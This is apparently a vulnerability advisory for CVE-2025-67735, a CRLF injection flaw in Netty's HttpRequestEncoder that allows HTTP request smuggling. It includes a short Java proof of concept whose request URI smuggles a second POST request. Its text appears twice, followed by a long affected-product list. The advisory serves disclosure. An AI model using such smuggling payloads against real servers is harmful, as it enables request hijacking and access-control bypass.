CVE-2025-67735

About vulnerability

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});

DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Affected product:

Apache ActiveMQ , Apache CXF , Apache Hadoop , Apache Hive , Apache Kafka , Apache Log4j , Apache Lucene , Apache Solr , Apache Spark , Eclipse Jetty , Netty , React , Spring , Wildfly , accumulo , agepredictor , artemis , async-http-client , avro , aws-sdk-java , azure-sdk-for-java , bolt-connection-java , bookkeeper-common-allocator , camel , cassandra-driver-core , cassandra-java-driver , couchbase-jvm-clients , curator , docker-java , druid , elasticsearch , flink , flink-shaded , flume-ng-sdk , grpc-java , grpc-netty , hbase , http-client , infinispan , java-driver , lettuce , lettuce-core , littleproxy , logging-flume , neo4j-bolt-connection-netty , neo4j-java-driver , neo4j-ogm , netty , olingo-odata4 , pulsar , pulsar-client-all , rabbitmq-stream-java-client , rsocket-java , sonatype-aether , tika , vert.x , wildfly , zendesk-java-client , zookeeper

Affected packages:

netty @ 4.1.115.Final (+14019 more)

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});

DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.